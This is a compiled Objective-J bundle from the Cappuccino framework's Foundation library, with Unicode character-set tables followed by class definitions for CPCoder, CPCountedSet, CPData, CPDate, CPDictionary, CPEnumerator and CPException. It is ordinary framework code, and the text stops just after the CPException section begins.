uppercaseLetterCharacterSet=[65,26,192,23,216,7,256,1,258,1,260,1,262,1,264,1,266,1,268,1,270,1,272,1,274,1,276,1,278,1,280,1,282,1,284,1,286,1,288,1,290,1,292,1,294,1,296,1,298,1,300,1,302,1,304,1,306,1,308,1,310,1,313,1,315,1,317,1,319,1,321,1,323,1,325,1,327,1,330,1,332,1,334,1,336,1,338,1,340,1,342,1,344,1,346,1,348,1,350,1,352,1,354,1,356,1,358,1,360,1,362,1,364,1,366,1,368,1,370,1,372,1,374,1,376,2,379,1,381,1,385,2,388,1,390,2,393,3,398,4,403,2,406,3,412,2,415,2,418,1,420,1,422,2,425,1,428,1,430,2,433,3,437,1,439,2,444,1,452,2,455,2,458,2,461,1,463,1,465,1,467,1,469,1,471,1,473,1,475,1,478,1,480,1,482,1,484,1,486,1,488,1,490,1,492,1,494,1,497,2,500,1,502,3,506,1,508,1,510,1,512,1,514,1,516,1,518,1,520,1,522,1,524,1,526,1,528,1,530,1,532,1,534,1,536,1,538,1,540,1,542,1,544,1,546,1,548,1,550,1,552,1,554,1,556,1,558,1,560,1,562,1,570,2,573,2,577,1,579,4,584,1,586,1,588,1,590,1,902,1,904,3,908,1,910,2,913,17,931,9,978,3,984,1,986,1,988,1,990,1,992,1,994,1,996,1,998,1,1000,1,1002,1,1004,1,1006,1,1012,1,1015,1,1017,2,1021,51,1120,1,1122,1,1124,1,1126,1,1128,1,1130,1,1132,1,1134,1,1136,1,1138,1,1140,1,1142,1,1144,1,1146,1,1148,1,1150,1,1152,1,1162,1,1164,1,1166,1,1168,1,1170,1,1172,1,1174,1,1176,1,1178,1,1180,1,1182,1,1184,1,1186,1,1188,1,1190,1,1192,1,1194,1,1196,1,1198,1,1200,1,1202,1,1204,1,1206,1,1208,1,1210,1,1212,1,1214,1,1216,2,1219,1,1221,1,1223,1,1225,1,1227,1,1229,1,1232,1,1234,1,1236,1,1238,1,1240,1,1242,1,1244,1,1246,1,1248,1,1250,1,1252,1,1254,1,1256,1,1258,1,1260,1,1262,1,1264,1,1266,1,1268,1,1270,1,1272,1,1274,1,1276,1,1278,1,1280,1,1282,1,1284,1,1286,1,1288,1,1290,1,1292,1,1294,1,1296,1,1298,1,1329,38,4256,38,7680,1,7682,1,7684,1,7686,1,7688,1,7690,1,7692,1,7694,1,7696,1,7698,1,7700,1,7702,1,7704,1,7706,1,7708,1,7710,1,7712,1,7714,1,7716,1,7718,1,7720,1,7722,1,7724,1,7726,1,7728,1,7730,1,7732,1,7734,1,7736,1,7738,1,7740,1,7742,1,7744,1,7746,1,7748,1,7750,1,7752,1,7754,1,7756,1,7758,1,7760,1,7762,1,7764,1,7766,1,7768,1,7770,1,7772,1,7774,1,7776,1,7778,1,7780,1,7782,1,7784,1,7786,1,7788,1,7790,1,7792,1,7794,1,7796,1,7798,1,7800,1,7802,1,7804,1,7806,1,7808,1,7810,1,7812,1,7814,1,7816,1,7818,1,7820,1,7822,1,7824,1,7826,1,7828,1,7840,1,7842,1,7844,1,7846,1,7848,1,7850,1,7852,1,7854,1,7856,1,7858,1,7860,1,7862,1,7864,1,7866,1,7868,1,7870,1,7872,1,7874,1,7876,1,7878,1,7880,1,7882,1,7884,1,7886,1,7888,1,7890,1,7892,1,7894,1,7896,1,7898,1,7900,1,7902,1,7904,1,7906,1,7908,1,7910,1,7912,1,7914,1,7916,1,7918,1,7920,1,7922,1,7924,1,7926,1,7928,1,7944,8,7960,6,7976,8,7992,8,8008,6,8025,1,8027,1,8029,1,8031,1,8040,8,8072,8,8088,8,8104,8,8120,5,8136,5,8152,4,8168,5,8184,5,8450,1,8455,1,8459,3,8464,3,8469,1,8473,5,8484,1,8486,1,8488,1,8490,4,8496,4,8510,2,8517,1,8579,1,11264,47,11360,1,11362,3,11367,1,11369,1,11371,1,11381,1,11392,1,11394,1,11396,1,11398,1,11400,1,11402,1,11404,1,11406,1,11408,1,11410,1,11412,1,11414,1,11416,1,11418,1,11420,1,11422,1,11424,1,11426,1,11428,1,11430,1,11432,1,11434,1,11436,1,11438,1,11440,1,11442,1,11444,1,11446,1,11448,1,11450,1,11452,1,11454,1,11456,1,11458,1,11460,1,11462,1,11464,1,11466,1,11468,1,11470,1,11472,1,11474,1,11476,1,11478,1,11480,1,11482,1,11484,1,11486,1,11488,1,11490,1];
whitespaceAndNewlineCharacterSet=[9,5,32,1,133,1,160,1,5760,1,8192,12,8232,2,8239,1,8287,1];
whitespaceCharacterSet=[9,1,32,1,160,1,5760,1,8192,12,8239,1,8287,1];
p;9;CPCoder.jt;1892;@STATIC;1.0;i;13;CPException.ji;10;CPObject.jt;1840;
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPCoder"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("allowsKeyedCoding"),function(_3,_4){
with(_3){
return NO;
}
}),new objj_method(sel_getUid("encodeValueOfObjCType:at:"),function(_5,_6,_7,_8){
with(_5){
CPInvalidAbstractInvocation();
}
}),new objj_method(sel_getUid("encodeDataObject:"),function(_9,_a,_b){
with(_9){
CPInvalidAbstractInvocation();
}
}),new objj_method(sel_getUid("encodeObject:"),function(_c,_d,_e){
with(_c){
}
}),new objj_method(sel_getUid("encodePoint:"),function(_f,_10,_11){
with(_f){
objj_msgSend(_f,"encodeNumber:",_11.x);
objj_msgSend(_f,"encodeNumber:",_11.y);
}
}),new objj_method(sel_getUid("encodeRect:"),function(_12,_13,_14){
with(_12){
objj_msgSend(_12,"encodePoint:",_14.origin);
objj_msgSend(_12,"encodeSize:",_14.size);
}
}),new objj_method(sel_getUid("encodeSize:"),function(_15,_16,_17){
with(_15){
objj_msgSend(_15,"encodeNumber:",_17.width);
objj_msgSend(_15,"encodeNumber:",_17.height);
}
}),new objj_method(sel_getUid("encodePropertyList:"),function(_18,_19,_1a){
with(_18){
}
}),new objj_method(sel_getUid("encodeRootObject:"),function(_1b,_1c,_1d){
with(_1b){
objj_msgSend(_1b,"encodeObject:",_1d);
}
}),new objj_method(sel_getUid("encodeBycopyObject:"),function(_1e,_1f,_20){
with(_1e){
objj_msgSend(_1e,"encodeObject:",_20);
}
}),new objj_method(sel_getUid("encodeConditionalObject:"),function(_21,_22,_23){
with(_21){
objj_msgSend(_21,"encodeObject:",_23);
}
})]);
var _1=objj_getClass("CPObject");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPObject\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("awakeAfterUsingCoder:"),function(_24,_25,_26){
with(_24){
return _24;
}
})]);
p;14;CPCountedSet.jt;1287;@STATIC;1.0;i;7;CPSet.jt;1257;
objj_executeFile("CPSet.j",YES);
var _1=objj_allocateClassPair(CPMutableSet,"CPCountedSet"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_counts")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("addObject:"),function(_3,_4,_5){
with(_3){
if(!_counts){
_counts={};
}
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPCountedSet").super_class},"addObject:",_5);
var _6=objj_msgSend(_5,"UID");
if(_counts[_6]===undefined){
_counts[_6]=1;
}else{
++_counts[_6];
}
}
}),new objj_method(sel_getUid("removeObject:"),function(_7,_8,_9){
with(_7){
if(!_counts){
return;
}
var _a=objj_msgSend(_9,"UID");
if(_counts[_a]===undefined){
return;
}else{
--_counts[_a];
if(_counts[_a]===0){
delete _counts[_a];
objj_msgSendSuper({receiver:_7,super_class:objj_getClass("CPCountedSet").super_class},"removeObject:",_9);
}
}
}
}),new objj_method(sel_getUid("removeAllObjects"),function(_b,_c){
with(_b){
objj_msgSendSuper({receiver:_b,super_class:objj_getClass("CPCountedSet").super_class},"removeAllObjects");
_counts={};
}
}),new objj_method(sel_getUid("countForObject:"),function(_d,_e,_f){
with(_d){
if(!_counts){
_counts={};
}
var UID=objj_msgSend(_f,"UID");
if(_counts[UID]===undefined){
return 0;
}
return _counts[UID];
}
})]);
p;8;CPData.jt;4290;@STATIC;1.0;i;10;CPObject.ji;10;CPString.jt;4241;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPString.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPData"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithRawString:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPData").super_class},"init");
if(_3){
objj_msgSend(_3,"setRawString:",_5);
}
return _3;
}
}),new objj_method(sel_getUid("initWithPlistObject:"),function(_6,_7,_8){
with(_6){
_6=objj_msgSendSuper({receiver:_6,super_class:objj_getClass("CPData").super_class},"init");
if(_6){
objj_msgSend(_6,"setPlistObject:",_8);
}
return _6;
}
}),new objj_method(sel_getUid("initWithPlistObject:format:"),function(_9,_a,_b,_c){
with(_9){
_9=objj_msgSendSuper({receiver:_9,super_class:objj_getClass("CPData").super_class},"init");
if(_9){
objj_msgSend(_9,"setPlistObject:format:",_b,_c);
}
return _9;
}
}),new objj_method(sel_getUid("initWithJSONObject:"),function(_d,_e,_f){
with(_d){
_d=objj_msgSendSuper({receiver:_d,super_class:objj_getClass("CPData").super_class},"init");
if(_d){
objj_msgSend(_d,"setJSONObject:",_f);
}
return _d;
}
}),new objj_method(sel_getUid("rawString"),function(_10,_11){
with(_10){
return _10.rawString();
}
}),new objj_method(sel_getUid("plistObject"),function(_12,_13){
with(_12){
return _12.propertyList();
}
}),new objj_method(sel_getUid("JSONObject"),function(_14,_15){
with(_14){
return _14.JSONObject();
}
}),new objj_method(sel_getUid("length"),function(_16,_17){
with(_16){
return objj_msgSend(objj_msgSend(_16,"rawString"),"length");
}
}),new objj_method(sel_getUid("description"),function(_18,_19){
with(_18){
return _18.toString();
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_1a,_1b){
with(_1a){
return new CFMutableData();
}
}),new objj_method(sel_getUid("data"),function(_1c,_1d){
with(_1c){
return objj_msgSend(objj_msgSend(_1c,"alloc"),"init");
}
}),new objj_method(sel_getUid("dataWithRawString:"),function(_1e,_1f,_20){
with(_1e){
return objj_msgSend(objj_msgSend(_1e,"alloc"),"initWithRawString:",_20);
}
}),new objj_method(sel_getUid("dataWithPlistObject:"),function(_21,_22,_23){
with(_21){
return objj_msgSend(objj_msgSend(_21,"alloc"),"initWithPlistObject:",_23);
}
}),new objj_method(sel_getUid("dataWithPlistObject:format:"),function(_24,_25,_26,_27){
with(_24){
return objj_msgSend(objj_msgSend(_24,"alloc"),"initWithPlistObject:format:",_26,_27);
}
}),new objj_method(sel_getUid("dataWithJSONObject:"),function(_28,_29,_2a){
with(_28){
return objj_msgSend(objj_msgSend(_28,"alloc"),"initWithJSONObject:",_2a);
}
})]);
var _1=objj_getClass("CPData");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPData\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("setRawString:"),function(_2b,_2c,_2d){
with(_2b){
_2b.setRawString(_2d);
}
}),new objj_method(sel_getUid("setPlistObject:"),function(_2e,_2f,_30){
with(_2e){
_2e.setPropertyList(_30);
}
}),new objj_method(sel_getUid("setPlistObject:format:"),function(_31,_32,_33,_34){
with(_31){
_31.setPropertyList(_33,_34);
}
}),new objj_method(sel_getUid("setJSONObject:"),function(_35,_36,_37){
with(_35){
_35.setJSONObject(_37);
}
})]);
var _1=objj_getClass("CPData");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPData\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithString:"),function(_38,_39,_3a){
with(_38){
_CPReportLenientDeprecation(_38,_39,sel_getUid("initWithRawString:"));
return objj_msgSend(_38,"initWithRawString:",_3a);
}
}),new objj_method(sel_getUid("setString:"),function(_3b,_3c,_3d){
with(_3b){
_CPReportLenientDeprecation(_3b,_3c,sel_getUid("setRawString:"));
objj_msgSend(_3b,"setRawString:",_3d);
}
}),new objj_method(sel_getUid("string"),function(_3e,_3f){
with(_3e){
_CPReportLenientDeprecation(_3e,_3f,sel_getUid("rawString"));
return objj_msgSend(_3e,"rawString");
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("dataWithString:"),function(_40,_41,_42){
with(_40){
_CPReportLenientDeprecation(_40,_41,sel_getUid("dataWithRawString:"));
return objj_msgSend(_40,"dataWithRawString:",_42);
}
})]);
CFData.prototype.isa=CPData;
CFMutableData.prototype.isa=CPData;
p;8;CPDate.jt;5033;@STATIC;1.0;i;10;CPObject.ji;10;CPString.jt;4984;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPString.j",YES);
var _1=new Date(Date.UTC(2001,1,1,0,0,0,0));
var _2=objj_allocateClassPair(CPObject,"CPDate"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithTimeIntervalSinceNow:"),function(_4,_5,_6){
with(_4){
_4=new Date((new Date()).getTime()+_6*1000);
return _4;
}
}),new objj_method(sel_getUid("initWithTimeIntervalSince1970:"),function(_7,_8,_9){
with(_7){
_7=new Date(_9*1000);
return _7;
}
}),new objj_method(sel_getUid("initWithTimeIntervalSinceReferenceDate:"),function(_a,_b,_c){
with(_a){
_a=objj_msgSend(_a,"initWithTimeInterval:sinceDate:",_c,_1);
return _a;
}
}),new objj_method(sel_getUid("initWithTimeInterval:sinceDate:"),function(_d,_e,_f,_10){
with(_d){
_d=new Date(_10.getTime()+_f*1000);
return _d;
}
}),new objj_method(sel_getUid("initWithString:"),function(_11,_12,_13){
with(_11){
var _14=/(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2}) ([-+])(\d{2})(\d{2})/,d=_13.match(new RegExp(_14));
if(!d||d.length!=10){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"initWithString: the string must be of YYYY-MM-DD HH:MM:SS ±HHMM format");
}
var _15=new Date(d[1],d[2]-1,d[3]),_16=(Number(d[8])*60+Number(d[9]))*(d[7]==="-"?-1:1);
_15.setHours(d[4]);
_15.setMinutes(d[5]);
_15.setSeconds(d[6]);
_11=new Date(_15.getTime()+(_16-_15.getTimezoneOffset())*60*1000);
return _11;
}
}),new objj_method(sel_getUid("timeIntervalSinceDate:"),function(_17,_18,_19){
with(_17){
return (_17.getTime()-_19.getTime())/1000;
}
}),new objj_method(sel_getUid("timeIntervalSinceNow"),function(_1a,_1b){
with(_1a){
return objj_msgSend(_1a,"timeIntervalSinceDate:",objj_msgSend(CPDate,"date"));
}
}),new objj_method(sel_getUid("timeIntervalSince1970"),function(_1c,_1d){
with(_1c){
return _1c.getTime()/1000;
}
}),new objj_method(sel_getUid("timeIntervalSinceReferenceDate"),function(_1e,_1f){
with(_1e){
return (_1e.getTime()-_1.getTime())/1000;
}
}),new objj_method(sel_getUid("isEqual:"),function(_20,_21,_22){
with(_20){
if(_20===_22){
return YES;
}
if(!_22||!objj_msgSend(_22,"isKindOfClass:",objj_msgSend(CPDate,"class"))){
return NO;
}
return objj_msgSend(_20,"isEqualToDate:",_22);
}
}),new objj_method(sel_getUid("isEqualToDate:"),function(_23,_24,_25){
with(_23){
if(!_25){
return NO;
}
return !(_23<_25||_23>_25);
}
}),new objj_method(sel_getUid("compare:"),function(_26,_27,_28){
with(_26){
return (_26>_28)?CPOrderedDescending:((_26<_28)?CPOrderedAscending:CPOrderedSame);
}
}),new objj_method(sel_getUid("earlierDate:"),function(_29,_2a,_2b){
with(_29){
return (_29<_2b)?_29:_2b;
}
}),new objj_method(sel_getUid("laterDate:"),function(_2c,_2d,_2e){
with(_2c){
return (_2c>_2e)?_2c:_2e;
}
}),new objj_method(sel_getUid("description"),function(_2f,_30){
with(_2f){
var _31=_2f.getTimezoneOffset()>=0,_32=FLOOR(_2f.getTimezoneOffset()/60),_33=_2f.getTimezoneOffset()-_32*60;
return objj_msgSend(CPString,"stringWithFormat:","%04d-%02d-%02d %02d:%02d:%02d %s%02d%02d",_2f.getFullYear(),_2f.getMonth()+1,_2f.getDate(),_2f.getHours(),_2f.getMinutes(),_2f.getSeconds(),_31?"+":"-",ABS(_32),ABS(_33));
}
}),new objj_method(sel_getUid("copy"),function(_34,_35){
with(_34){
return new Date(_34.getTime());
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("alloc"),function(_36,_37){
with(_36){
return new Date;
}
}),new objj_method(sel_getUid("date"),function(_38,_39){
with(_38){
return objj_msgSend(objj_msgSend(_38,"alloc"),"init");
}
}),new objj_method(sel_getUid("dateWithTimeIntervalSinceNow:"),function(_3a,_3b,_3c){
with(_3a){
return objj_msgSend(objj_msgSend(CPDate,"alloc"),"initWithTimeIntervalSinceNow:",_3c);
}
}),new objj_method(sel_getUid("dateWithTimeIntervalSince1970:"),function(_3d,_3e,_3f){
with(_3d){
return objj_msgSend(objj_msgSend(CPDate,"alloc"),"initWithTimeIntervalSince1970:",_3f);
}
}),new objj_method(sel_getUid("dateWithTimeIntervalSinceReferenceDate:"),function(_40,_41,_42){
with(_40){
return objj_msgSend(objj_msgSend(CPDate,"alloc"),"initWithTimeIntervalSinceReferenceDate:",_42);
}
}),new objj_method(sel_getUid("distantPast"),function(_43,_44){
with(_43){
return new Date(-10000,1,1,0,0,0,0);
}
}),new objj_method(sel_getUid("distantFuture"),function(_45,_46){
with(_45){
return new Date(10000,1,1,0,0,0,0);
}
}),new objj_method(sel_getUid("timeIntervalSinceReferenceDate"),function(_47,_48){
with(_47){
return objj_msgSend(objj_msgSend(CPDate,"date"),"timeIntervalSinceReferenceDate");
}
})]);
var _49="CPDateTimeKey";
var _2=objj_getClass("CPDate");
if(!_2){
throw new SyntaxError("*** Could not find definition for class \"CPDate\"");
}
var _3=_2.isa;
class_addMethods(_2,[new objj_method(sel_getUid("initWithCoder:"),function(_4a,_4b,_4c){
with(_4a){
if(_4a){
_4a.setTime(objj_msgSend(_4c,"decodeIntForKey:",_49));
}
return _4a;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_4d,_4e,_4f){
with(_4d){
objj_msgSend(_4f,"encodeInt:forKey:",_4d.getTime(),_49);
}
})]);
Date.prototype.isa=CPDate;
p;14;CPDictionary.jt;8238;@STATIC;1.0;i;9;CPArray.ji;14;CPEnumerator.ji;13;CPException.ji;10;CPObject.jt;8154;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPEnumerator.j",YES);
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPEnumerator,"_CPDictionaryValueEnumerator"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_keyEnumerator"),new objj_ivar("_dictionary")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithDictionary:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("_CPDictionaryValueEnumerator").super_class},"init");
if(_3){
_keyEnumerator=objj_msgSend(_5,"keyEnumerator");
_dictionary=_5;
}
return _3;
}
}),new objj_method(sel_getUid("nextObject"),function(_6,_7){
with(_6){
var _8=objj_msgSend(_keyEnumerator,"nextObject");
if(!_8){
return nil;
}
return objj_msgSend(_dictionary,"objectForKey:",_8);
}
})]);
var _1=objj_allocateClassPair(CPObject,"CPDictionary"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithDictionary:"),function(_9,_a,_b){
with(_9){
var _c="",_d=objj_msgSend(objj_msgSend(CPDictionary,"alloc"),"init");
for(_c in _b._buckets){
objj_msgSend(_d,"setObject:forKey:",objj_msgSend(_b,"objectForKey:",_c),_c);
}
return _d;
}
}),new objj_method(sel_getUid("initWithObjects:forKeys:"),function(_e,_f,_10,_11){
with(_e){
_e=objj_msgSendSuper({receiver:_e,super_class:objj_getClass("CPDictionary").super_class},"init");
if(objj_msgSend(_10,"count")!=objj_msgSend(_11,"count")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Counts are different.("+objj_msgSend(_10,"count")+"!="+objj_msgSend(_11,"count")+")");
}
if(_e){
var i=objj_msgSend(_11,"count");
while(i--){
objj_msgSend(_e,"setObject:forKey:",_10[i],_11[i]);
}
}
return _e;
}
}),new objj_method(sel_getUid("initWithObjectsAndKeys:"),function(_12,_13,_14){
with(_12){
var _15=arguments.length;
if(_15%2!==0){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Key-value count is mismatched. ("+_15+" arguments passed)");
}
_12=objj_msgSendSuper({receiver:_12,super_class:objj_getClass("CPDictionary").super_class},"init");
if(_12){
var _16=2;
for(;_16<_15;_16+=2){
var _17=arguments[_16];
if(_17===nil){
break;
}
objj_msgSend(_12,"setObject:forKey:",_17,arguments[_16+1]);
}
}
return _12;
}
}),new objj_method(sel_getUid("copy"),function(_18,_19){
with(_18){
return objj_msgSend(CPDictionary,"dictionaryWithDictionary:",_18);
}
}),new objj_method(sel_getUid("count"),function(_1a,_1b){
with(_1a){
return _count;
}
}),new objj_method(sel_getUid("allKeys"),function(_1c,_1d){
with(_1c){
return objj_msgSend(_keys,"copy");
}
}),new objj_method(sel_getUid("allValues"),function(_1e,_1f){
with(_1e){
var _20=_keys.length,_21=[];
while(_20--){
_21.push(_1e.valueForKey(_keys[_20]));
}
return _21;
}
}),new objj_method(sel_getUid("allKeysForObject:"),function(_22,_23,_24){
with(_22){
var _25=_keys.length,_26=0,_27=[],_28=nil,_29=nil;
for(;_26<_25;++_26){
_28=_keys[_26],_29=_buckets[_28];
if(_29.isa&&_24&&_24.isa&&objj_msgSend(_29,"respondsToSelector:",sel_getUid("isEqual:"))&&objj_msgSend(_29,"isEqual:",_24)){
_27.push(_28);
}else{
if(_29===_24){
_27.push(_28);
}
}
}
return _27;
}
}),new objj_method(sel_getUid("keyEnumerator"),function(_2a,_2b){
with(_2a){
return objj_msgSend(_keys,"objectEnumerator");
}
}),new objj_method(sel_getUid("objectEnumerator"),function(_2c,_2d){
with(_2c){
return objj_msgSend(objj_msgSend(_CPDictionaryValueEnumerator,"alloc"),"initWithDictionary:",_2c);
}
}),new objj_method(sel_getUid("isEqualToDictionary:"),function(_2e,_2f,_30){
with(_2e){
if(_2e===_30){
return YES;
}
var _31=objj_msgSend(_2e,"count");
if(_31!==objj_msgSend(_30,"count")){
return NO;
}
var _32=_31;
while(_32--){
var _33=_keys[_32],_34=_buckets[_33],_35=_30._buckets[_33];
if(_34===_35){
continue;
}
if(_34&&_34.isa&&_35&&_35.isa&&objj_msgSend(_34,"respondsToSelector:",sel_getUid("isEqual:"))&&objj_msgSend(_34,"isEqual:",_35)){
continue;
}
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("isEqual:"),function(_36,_37,_38){
with(_36){
if(_36===_38){
return YES;
}
if(!objj_msgSend(_38,"isKindOfClass:",objj_msgSend(CPDictionary,"class"))){
return NO;
}
return objj_msgSend(_36,"isEqualToDictionary:",_38);
}
}),new objj_method(sel_getUid("objectForKey:"),function(_39,_3a,_3b){
with(_39){
var _3c=_buckets[_3b];
return (_3c===undefined)?nil:_3c;
}
}),new objj_method(sel_getUid("removeAllObjects"),function(_3d,_3e){
with(_3d){
_3d.removeAllValues();
}
}),new objj_method(sel_getUid("removeObjectForKey:"),function(_3f,_40,_41){
with(_3f){
_3f.removeValueForKey(_41);
}
}),new objj_method(sel_getUid("removeObjectsForKeys:"),function(_42,_43,_44){
with(_42){
var _45=_44.length;
while(_45--){
objj_msgSend(_42,"removeObjectForKey:",_44[_45]);
}
}
}),new objj_method(sel_getUid("setObject:forKey:"),function(_46,_47,_48,_49){
with(_46){
_46.setValueForKey(_49,_48);
}
}),new objj_method(sel_getUid("addEntriesFromDictionary:"),function(_4a,_4b,_4c){
with(_4a){
if(!_4c){
return;
}
var _4d=objj_msgSend(_4c,"allKeys"),_4e=objj_msgSend(_4d,"count");
while(_4e--){
var key=_4d[_4e];
objj_msgSend(_4a,"setObject:forKey:",objj_msgSend(_4c,"objectForKey:",key),key);
}
}
}),new objj_method(sel_getUid("description"),function(_4f,_50){
with(_4f){
return _4f.toString();
}
}),new objj_method(sel_getUid("containsKey:"),function(_51,_52,_53){
with(_51){
var _54=objj_msgSend(_51,"objectForKey:",_53);
return ((_54!==nil)&&(_54!==undefined));
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_55,_56){
with(_55){
return new CFMutableDictionary();
}
}),new objj_method(sel_getUid("dictionary"),function(_57,_58){
with(_57){
return objj_msgSend(objj_msgSend(_57,"alloc"),"init");
}
}),new objj_method(sel_getUid("dictionaryWithDictionary:"),function(_59,_5a,_5b){
with(_59){
return objj_msgSend(objj_msgSend(_59,"alloc"),"initWithDictionary:",_5b);
}
}),new objj_method(sel_getUid("dictionaryWithObject:forKey:"),function(_5c,_5d,_5e,_5f){
with(_5c){
return objj_msgSend(objj_msgSend(_5c,"alloc"),"initWithObjects:forKeys:",[_5e],[_5f]);
}
}),new objj_method(sel_getUid("dictionaryWithObjects:forKeys:"),function(_60,_61,_62,_63){
with(_60){
return objj_msgSend(objj_msgSend(_60,"alloc"),"initWithObjects:forKeys:",_62,_63);
}
}),new objj_method(sel_getUid("dictionaryWithJSObject:"),function(_64,_65,_66){
with(_64){
return objj_msgSend(_64,"dictionaryWithJSObject:recursively:",_66,NO);
}
}),new objj_method(sel_getUid("dictionaryWithJSObject:recursively:"),function(_67,_68,_69,_6a){
with(_67){
var key="",_6b=objj_msgSend(objj_msgSend(_67,"alloc"),"init");
for(key in _69){
if(!_69.hasOwnProperty(key)){
continue;
}
var _6c=_69[key];
if(_6c===null){
objj_msgSend(_6b,"setObject:forKey:",objj_msgSend(CPNull,"null"),key);
continue;
}
if(_6a){
if(_6c.constructor===Object){
_6c=objj_msgSend(CPDictionary,"dictionaryWithJSObject:recursively:",_6c,YES);
}else{
if(objj_msgSend(_6c,"isKindOfClass:",CPArray)){
var _6d=[],i=0,_6e=_6c.length;
for(;i<_6e;i++){
var _6f=_6c[i];
if(_6f.constructor===Object){
_6d.push(objj_msgSend(CPDictionary,"dictionaryWithJSObject:recursively:",_6f,YES));
}else{
_6d.push(_6f);
}
}
_6c=_6d;
}
}
}
objj_msgSend(_6b,"setObject:forKey:",_6c,key);
}
return _6b;
}
}),new objj_method(sel_getUid("dictionaryWithObjectsAndKeys:"),function(_70,_71,_72){
with(_70){
arguments[0]=objj_msgSend(_70,"alloc");
arguments[1]=sel_getUid("initWithObjectsAndKeys:");
return objj_msgSend.apply(this,arguments);
}
})]);
var _1=objj_getClass("CPDictionary");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPDictionary\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_73,_74,_75){
with(_73){
return objj_msgSend(_75,"_decodeDictionaryOfObjectsForKey:","CP.objects");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_76,_77,_78){
with(_76){
objj_msgSend(_78,"_encodeDictionaryOfObjects:forKey:",_76,"CP.objects");
}
})]);
var _1=objj_allocateClassPair(CPDictionary,"CPMutableDictionary"),_2=_1.isa;
objj_registerClassPair(_1);
CFDictionary.prototype.isa=CPDictionary;
CFMutableDictionary.prototype.isa=CPMutableDictionary;
p;14;CPEnumerator.jt;357;@STATIC;1.0;i;10;CPObject.jt;324;
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPEnumerator"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("nextObject"),function(_3,_4){
with(_3){
return nil;
}
}),new objj_method(sel_getUid("allObjects"),function(_5,_6){
with(_5){
return [];
}
})]);
p;13;CPException.jt;3505;@STATIC;1.0;i;9;CPCoder.ji;10;CPObject.ji;10;CPString.jt;3443;
objj_executeFile("CPCoder.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPString.j",YES);
CPInvalidArgumentException="CPInvalidArgumentException";
CPUnsupportedMethodException="CPUnsupportedMethodException";
CPRangeException="CPRangeException";
CPInternalInconsistencyException="CPInternalInconsistencyException";
var _1=objj_allocateClassPair(CPObject,"CPException"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_userInfo")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithName:reason:userInfo:"),function(_3,_4,_5,_6,_7){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPException").super_class},"init");
if(_3){
name=_5;
message=_6;
_userInfo=_7;
}
return _3;
}
}),new objj_method(sel_getUid("name"),function(_8,_9){
with(_8){
return name;
}
}),new objj_method(sel_getUid("reason"),function(_a,_b){
with(_a){
return message;
}
}),new objj_method(sel_getUid("userInfo"),function(_c,_d){
with(_c){
return _userInfo;
}
}),new objj_method(sel_getUid("description"),function(_e,_f){
with(_e){
return message;
}
}),new objj_method(sel_getUid("raise"),function(_10,_11){
with(_10){
throw _10;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_12,_13){
with(_12){
return new Error();
}
}),new objj_method(sel_getUid("raise:reason:"),function(_14,_15,_16,_17){
with(_14){
objj_msgSend(objj_msgSend(_14,"exceptionWithName:reason:userInfo:",_16,_17,nil),"raise");
}
}),new objj_method(sel_getUid("exceptionWithName:reason:userInfo:"),function(_18,_19,_1a,_1b,_1c){
with(_18){
return objj_msgSend(objj_msgSend(_18,"alloc"),"initWithName:reason:userInfo:",_1a,_1b,_1c);
}
})]);
var _1=objj_getClass("CPException");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPException\"");
}
var _2=_1.isa;
